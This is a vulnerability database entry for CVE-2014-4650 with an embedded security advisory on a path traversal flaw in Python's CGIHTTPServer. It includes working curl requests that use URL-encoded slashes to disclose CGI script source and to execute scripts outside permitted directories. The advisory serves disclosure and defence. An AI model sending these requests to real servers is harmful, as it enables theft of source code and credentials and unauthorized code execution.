Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 33894
Publication date : 2014-06-26 22h00 +00:00
Author : RedTeam Pentesting
EDB Verified : Yes
Advisory: Python CGIHTTPServer File Disclosure and Potential Code
Execution
The CGIHTTPServer Python module does not properly handle URL-encoded
path separators in URLs. This may enable attackers to disclose a CGI
script's source code or execute arbitrary CGI scripts in the server's
document root.
Details
=======
Product: Python CGIHTTPServer
Affected Versions:
2.7 - 2.7.7,
3.2 - 3.2.4,
3.3 - 3.3.2,
3.4 - 3.4.1,
3.5 pre-release
Fixed Versions:
2.7 rev b4bab0788768,
3.2 rev e47422855841,
3.3 rev 5676797f3a3e,
3.4 rev 847e288d6e93,
3.5 rev f8b3bb5eb190
Vulnerability Type: File Disclosure, Directory Traversal, Code Execution
Security Risk: high
Vendor URL: https://docs.python.org/2/library/cgihttpserver.html
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-008
Advisory Status: published
CVE: CVE-2014-4650
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4650
Introduction
============
The CGIHTTPServer module defines a request-handler class, interface
compatible with BaseHTTPServer. BaseHTTPRequestHandler and inherits
behavior from SimpleHTTPServer. SimpleHTTPRequestHandler but can also
run CGI scripts.
(from the Python documentation)
More Details
============
The CGIHTTPServer module can be used to set up a simple HTTP server with
CGI scripts. A sample server script in Python may look like the
following:
------------------------------------------------------------------------
#!/usr/bin/env python2
import CGIHTTPServer
import BaseHTTPServer
if __name__ == "__main__":
server = BaseHTTPServer.HTTPServer
handler = CGIHTTPServer.CGIHTTPRequestHandler
server_address = ("", 8000)
# Note that only /cgi-bin will work:
handler.cgi_directories = ["/cgi-bin", "/cgi-bin/subdir"]
httpd = server(server_address, handler)
httpd.serve_forever()
------------------------------------------------------------------------
This server should execute any scripts located in the subdirectory
"cgi-bin". A sample CGI script can be placed in that directory, for
example a script like the following:
------------------------------------------------------------------------
#!/usr/bin/env python2
import json
import sys
db_credentials = "SECRET"
sys.stdout.write("Content-type: text/json\r\n\r\n")
sys.stdout.write(json.dumps({"text": "This is a Test"}))
------------------------------------------------------------------------
The Python library CGIHTTPServer.py implements the CGIHTTPRequestHandler
class which inherits from SimpleHTTPServer.SimpleHTTPRequestHandler:
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
[...]
def do_GET(self):
"""Serve a GET request."""
f = self.send_head()
if f:
try:
self.copyfile(f, self.wfile)
finally:
f.close()
def do_HEAD(self):
"""Serve a HEAD request."""
f = self.send_head()
if f:
f.close()
def translate_path(self, path):
[...]
path = posixpath.normpath(urllib.unquote(path))
words = path.split('/')
words = filter(None, words)
path = os.getcwd()
[...]
The CGIHTTPRequestHandler class inherits, among others, the methods
do_GET() and do_HEAD() for handling HTTP GET and HTTP HEAD requests. The
class overrides send_head() and implements several new methods, such as
do_POST(), is_cgi() and run_cgi():
class CGIHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
[...]
def do_POST(self):
[...]
if self.is_cgi():
self.run_cgi()
else:
self.send_error(501, "Can only POST to CGI scripts")
def send_head(self):
"""Version of send_head that support CGI scripts"""
if self.is_cgi():
return self.run_cgi()
else:
return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self)
def is_cgi(self):
[...]
collapsed_path = _url_collapse_path(self.path)
dir_sep = collapsed_path.find('/', 1)
head, tail = collapsed_path[:dir_sep], collapsed_path[dir_sep+1:]
if head in self.cgi_directories:
self.cgi_info = head, tail
return True
return False
[...]
def run_cgi(self):
"""Execute a CGI script."""
dir, rest = self.cgi_info
[...]
# dissect the part after the directory name into a script name &
# a possible additional path, to be stored in PATH_INFO.
i = rest.find('/')
if i >= 0:
script, rest = rest[:i], rest[i:]
else:
script, rest = rest, ''
scriptname = dir + '/' + script
scriptfile = self.translate_path(scriptname)
if not os.path.exists(scriptfile):
self.send_error(404, "No such CGI script (%r)" % scriptname)
return
if not os.path.isfile(scriptfile):
self.send_error(403, "CGI script is not a plain file (%r)" %
scriptname)
return
[...]
[...]
For HTTP GET requests, do_GET() first invokes send_head(). That method
calls is_cgi() to determine whether the requested path is to be executed
as a CGI script. The is_cgi() method uses _url_collapse_path() to
normalize the path, i.e. remove extraneous slashes (/),current directory
(.), or parent directory (..) elements, taking care not to permit
directory traversal below the document root. The is_cgi() function
returns True when the first path element is contained in the
cgi_directories list. As _url_collaps_path() and is_cgi() never URL
decode the path, replacing the forward slash after the CGI directory in
the URL to a CGI script with the URL encoded variant %2f leads to
is_cgi() returning False. This will make CGIHTTPRequestHandler's
send_head() then invoke its parent's send_head() method which translates
the URL path to a file system path using the translate_path() method and
then outputs the file's contents raw. As translate_path() URL decodes
the path, this then succeeds and discloses the CGI script's file
contents:
$ curl http://localhost:8000/cgi-bin%2ftest.py
#!/usr/bin/env python2
import json
import sys
db_credentials = "SECRET"
sys.stdout.write("Content-type: text/json\r\n\r\n")
sys.stdout.write(json.dumps({"text": "This is a Test"}))
Similarly, the CGIHTTPRequestHandler can be tricked into executing CGI
scripts that would normally not be executable. The class normally only
allows executing CGI scripts that are direct children of one of the
directories listed in cgi_directories. Furthermore, only direct
subdirectories of the document root (the current working directory) can
be valid CGI directories.
This can be seen in the following example. Even though the sample server
shown above includes "/cgi-bin/subdir" as part of the request handler's
cgi_directories, a CGI script named test.py in that directory is not
executed:
$ curl http://localhost:8000/cgi-bin/subdir/test.py
[...]
<p>Error code 403.
<p>Message: CGI script is not a plain file ('/cgi-bin/subdir').
[...]
Here, is_cgi() set self.cgi_info to ('/cgi-bin', 'subdir/test.py') and
returned True. Next, run_cgi() further dissected these paths to perform
some sanity checks, thereby mistakenly assuming subdir to be the
executable script's filename and test.py to be path info. As subdir is
not an executable file, run_cgi() returns an error message. However, if
the forward slash between subdir and test.py is replaced with %2f,
invoking the script succeeds:
$ curl http://localhost:8000/cgi-bin/subdir%2ftest.py
{"text": "This is a Test"}
This is because neither is_cgi() nor run_cgi() URL decode the path
during processing until run_cgi() tries to determine whether the target
script is an executable file. More specifically, as subdir%2ftest.py
does not contain a forward slash, it is not split into the script name
subdir and path info test.py, as in the previous example.
Similarly, using URL encoded forward slashes, executables outside of a
CGI directory can be executed:
$ curl http://localhost:8000/cgi-bin/..%2ftraversed.py
{"text": "This is a Test"}
Workaround
==========
Subclass CGIHTTPRequestHandler and override the is_cgi() method with a
variant that first URL decodes the supplied path, for example:
class FixedCGIHTTPRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler):
def is_cgi(self):
self.path = urllib.unquote(self.path)
return CGIHTTPServer.CGIHTTPRequestHandler.is_cgi(self)
Fix
===
Update to the latest Python version from the Mercurial repository at
http://hg.python.org/cpython/
Security Risk
=============
The vulnerability can be used to gain access to the contents of CGI
binaries or the source code of CGI scripts. This may reveal sensitve
information, for example access credentials. This can greatly help
attackers in mounting further attacks and is therefore considered to
pose a high risk. Furthermore attackers may be able to execute code that
was not intended to be executed. However, this is limited to files
stored in the server's working directory or in its subdirectories.
The CGIHTTPServer code does contain this warning:
"SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL"
Even when used on a local computer this may allow other local users to
execute code in the context of another user.
Timeline
========
2014-04-07 Vulnerability identified
2014-06-11 Customer approved disclosure to vendor
2014-06-11 Vendor notified
2014-06-15 Vendor disclosed vulnerability in their public bug tracker
and addressed it in public source code repository
2014-06-23 CVE number requested
2014-06-25 CVE number assigned
2014-06-26 Advisory released
References
==========
http://bugs.python.org/issue21766
RedTeam Pentesting GmbH
=======================
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performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.
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https://www.redteam-pentesting.de.
--
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52068 Aachen https://www.redteam-pentesting.de
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Products Mentioned
Configuraton 0
Python>>Python >> Version From (including) 2.7.0 To (excluding) 2.7.8
Python>>Python >> Version From (including) 3.2.0 To (excluding) 3.2.6
Python>>Python >> Version From (including) 3.3.0 To (excluding) 3.3.6
Python>>Python >> Version From (including) 3.4.0 To (excluding) 3.4.2
Configuraton 0
Redhat>>Software_collections >> Version -
Redhat>>Enterprise_linux >> Version 5.0
Redhat>>Enterprise_linux >> Version 6.0
Redhat>>Enterprise_linux >> Version 7.0
References